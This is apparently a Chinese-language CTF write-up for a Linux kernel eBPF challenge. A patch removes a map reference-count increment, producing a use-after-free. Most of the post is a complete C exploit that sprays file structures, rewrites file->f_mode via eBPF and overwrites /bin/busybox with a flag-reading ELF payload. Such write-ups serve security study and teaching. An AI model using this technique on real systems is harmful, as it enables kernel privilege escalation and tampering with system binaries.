西门子白帽黑客大赛 pwn wp

又翻出一道历史悠久的题

漏洞

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diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 264b3dc714cc..49263e1295db 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -12900,7 +12900,7 @@ static int resolve_pseudo_ldimm64(struct bpf_verifier_env *env)
 			 * will be used by the valid program until it's unloaded
 			 * and all maps are released in free_used_maps()
 			 */
-			bpf_map_inc(map);
+			//bpf_map_inc(map);
 
 			aux->map_index = env->used_map_cnt;
 			env->used_maps[env->used_map_cnt++] = map;

bpf_check如果ebpf program使用了某个map会把map->refcnt+1，patch把这行注释了。如果load ebpf program后close(map)，仍然可以通过ebpf program对map进行读写，造成了uaf

利用

bpf_check检查通过后会把ebpf program转换成可执行代码，bpf_prog->bpf_func指向这段代码

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struct bpf_prog {
	u16                        pages;                /*     0     2 */
	u16                        jited:1;              /*     2: 0  2 */
	u16                        jit_requested:1;      /*     2: 1  2 */
	u16                        gpl_compatible:1;     /*     2: 2  2 */
	u16                        cb_access:1;          /*     2: 3  2 */
	u16                        dst_needed:1;         /*     2: 4  2 */
	u16                        blinding_requested:1; /*     2: 5  2 */
	u16                        blinded:1;            /*     2: 6  2 */
	u16                        is_func:1;            /*     2: 7  2 */
	u16                        kprobe_override:1;    /*     2: 8  2 */
	u16                        has_callchain_buf:1;  /*     2: 9  2 */
	u16                        enforce_expected_attach_type:1; /*     2:10  2 */
	u16                        call_get_stack:1;     /*     2:11  2 */
	u16                        call_get_func_ip:1;   /*     2:12  2 */
	u16                        tstamp_type_access:1; /*     2:13  2 */

	/* XXX 2 bits hole, try to pack */

	enum bpf_prog_type         type;                 /*     4     4 */
	enum bpf_attach_type       expected_attach_type; /*     8     4 */
	u32                        len;                  /*    12     4 */
	u32                        jited_len;            /*    16     4 */
	u8                         tag[8];               /*    20     8 */

	/* XXX 4 bytes hole, try to pack */

	struct bpf_prog_stats *    stats;                /*    32     8 */
	int *                      active;               /*    40     8 */
	unsigned int               (*bpf_func)(const void  *, const struct bpf_insn  *); /*  /
	struct bpf_prog_aux *      aux;                  /*    56     8 */
	/* --- cacheline 1 boundary (64 bytes) --- */
	struct sock_fprog_kern *   orig_prog;            /*    64     8 */
	union {
		struct {
			struct {
			} __empty_insns;                 /*    72     0 */
			struct sock_filter insns[0];     /*    72     0 */
		};                                       /*    72     0 */
		struct {
			struct {
			} __empty_insnsi;                /*    72     0 */
			struct bpf_insn insnsi[0];       /*    72     0 */
		};                                       /*    72     0 */
	};                                               /*    72     0 */

	/* size: 72, cachelines: 2, members: 26 */
	/* sum members: 66, holes: 1, sum holes: 4 */
	/* sum bitfield members: 14 bits, bit holes: 1, sum bit holes: 2 bits */
	/* last cacheline: 8 bytes */
};

bpf_array的内容就跟在bpf_array结构体之后，其他bpf_map同理

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struct bpf_array {
	struct bpf_map             map;                  /*     0   256 */

	/* XXX last struct has 26 bytes of padding */

	/* --- cacheline 4 boundary (256 bytes) --- */
	u32                        elem_size;            /*   256     4 */
	u32                        index_mask;           /*   260     4 */
	struct bpf_array_aux *     aux;                  /*   264     8 */
	union {
		char               value[0];             /*   272     0 */
		void *             ptrs[0];              /*   272     0 */
		void *             pptrs[0];             /*   272     0 */
	};                                               /*   272     0 */

	/* size: 320, cachelines: 5, members: 5 */
	/* padding: 48 */
	/* paddings: 1, sum paddings: 26 */
} __attribute__((__aligned__(64)));

如果ebpf program使用了map且bpf_check通过后，bpf_prog->bpf_func直接使用map的地址定位content

以上特性说明两点：

  1. bpf_array的大小可变，通过改变array大小
  2. 不用担心map重新分配后内容被破坏，因为bpf_prog->bpf_func对map的操作不使用bpf_map的数据

Exp

改busybox的打法，Cross-Cache到filp然后ebpf program改file->f_mode

选择控制bpf_array大小为512。再大一个slab会占多个page，分配会靠后；file结构体256，所以不能再小。

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#include "mykernel.h"
#include "bpf_insn.h"

#define FILE_SPRAY_N    0x300
#define MAP_SPRAY_N     8*16


static inline int bpf(int cmd, union bpf_attr *attr)
{
    return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}

static __always_inline int
bpf_map_create(unsigned int map_type, unsigned int key_size,
               unsigned int value_size, unsigned int max_entries, unsigned int map_flags)
{
        union bpf_attr attr = {
                .map_type = map_type,
                .key_size = key_size,
                .value_size = value_size,
                .max_entries = max_entries,
                .map_flags = map_flags,
        };
        return bpf(BPF_MAP_CREATE, &attr);
}

static __always_inline int
bpf_map_lookup_elem(int map_fd, const void* key, void* value)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
        };
        return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

static __always_inline int
bpf_map_freeze(int map_fd)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
        };
        return bpf(BPF_MAP_FREEZE, &attr);
}

static __always_inline int
bpf_map_update_elem(int map_fd, const void* key, const void* value)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .value = (uint64_t)value,
        };
        return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

static __always_inline int
bpf_map_delete_elem(int map_fd, const void* key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
        };
        return bpf(BPF_MAP_DELETE_ELEM, &attr);
}

static __always_inline int
bpf_map_get_next_key(int map_fd, const void* key, void* next_key)
{
        union bpf_attr attr = {
                .map_fd = map_fd,
                .key = (uint64_t)key,
                .next_key = (uint64_t)next_key,
        };
        return bpf(BPF_MAP_GET_NEXT_KEY, &attr);
}

static __always_inline uint32_t
bpf_map_get_info_by_fd(int map_fd)
{
        struct bpf_map_info info;
        union bpf_attr attr = {
                .info.bpf_fd = map_fd,
                .info.info_len = sizeof(info),
                .info.info = (uint64_t)&info,

        };
        bpf(BPF_OBJ_GET_INFO_BY_FD, &attr);
        return info.btf_id;
}

struct bpf_insn hack_prog[] = {
        BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),    // reg9 = ctx
        BPF_MOV64_IMM(BPF_REG_0, 0),

        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),   // reg2 = fp
        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),  // reg2 = fp - 4

        BPF_LD_MAP_FD(BPF_REG_1, 3*8+3),

        // map_lookup_elem(map_fd(x), fp - 4)
        BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),

        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
        BPF_EXIT_INSN(),

        BPF_MOV64_IMM(BPF_REG_1, 2|0x40000|0xa801d),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_0, 0x34),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

        BPF_MOV64_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN(),
};

#define BPF_LOG_SZ 0x20000
char bpf_log_buf[BPF_LOG_SZ] = { '\0' };

union bpf_attr hack_attr = {
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insns = (uint64_t) &hack_prog,
    .insn_cnt = sizeof(hack_prog) / sizeof(hack_prog[0]),
    .license = (uint64_t) "GPL",
    .log_level = 2,
    .log_buf = (uint64_t) bpf_log_buf,
    .log_size = BPF_LOG_SZ,
};

char buffer[0x8000] = "eurus";

void trigger(int fd_tmp) {
        struct __sk_buff md = {};

        union bpf_attr test_run_attr = {
                .test.prog_fd = fd_tmp,
                .test.data_size_in = 0x300,
                .test.data_in = (uint64_t)&buffer,
                .test.ctx_size_in = sizeof(md),
                .test.ctx_in = (uint64_t)&md,
        };

        bpf(BPF_PROG_TEST_RUN, &test_run_attr);
}


int file_fds[FILE_SPRAY_N];
int map_fds[MAP_SPRAY_N];


int main() {

        setbuf(stdin, NULL);
        setbuf(stdout, NULL);
        setbuf(stderr, NULL);
        
        save_status();
        bind_core(0);

        prctl(PR_SET_NAME, "Eurus");
        memset(buffer, 'A', sizeof(buffer));

        /*
                kmalloc-512
                cpu_partial = 52
                min_partial = 5
                oo = 8
         */

        for(int i=0; i<MAP_SPRAY_N; i++) {
            map_fds[i] = bpf_map_create(BPF_MAP_TYPE_ARRAY, 4, 0x200-0x140, 1, BPF_F_WRONLY_PROG);
            if(map_fds[i] < 0) perror("bpf_map_create");
        }

        puts("Spray map over.");

        int bpf_fd = bpf(BPF_PROG_LOAD, &hack_attr);
        if (bpf_fd < 0) perror("bpf_prog_load"), puts(bpf_log_buf);

        for(int i=0; i<MAP_SPRAY_N; i++) {
                close(map_fds[i]);
        }

        puts("Release maps over.");

        for(int i=0; i<FILE_SPRAY_N; i++) {
                file_fds[i] = open("/bin/busybox", O_RDONLY);
                if(file_fds[i] < 0) perror("open");
        }

        puts("Spray file over.");

        trigger(bpf_fd);

        unsigned char elfcode[] = {
                0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x48, 0xbf, 0x2f, 0x66, 0x6c, 0x61, 0x67, 0x00, 0x00, 0x00, 0x57, 0x48,
                0x89, 0xe7, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2, 0x48, 0x83, 0xc0, 0x02,
                0x0f, 0x05, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc2, 0x00, 0x01,
                0x00, 0x00, 0x48, 0x31, 0xc0, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00,
                0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x00,
        };

        for(int i=0; i<FILE_SPRAY_N; i++) {
                int n = write(file_fds[i], elfcode, sizeof(elfcode));
                if (n > 0) {
                        puts("Write Success!");
                        break;
                }
        }

        return 0;
}
CTF > WP
#wp #kernel #heap
西门子白帽黑客大赛 pwn wp
http://akaieurus.github.io/2025/09/01/ximenzi/
作者
Eurus
发布于
2025年9月1日
许可协议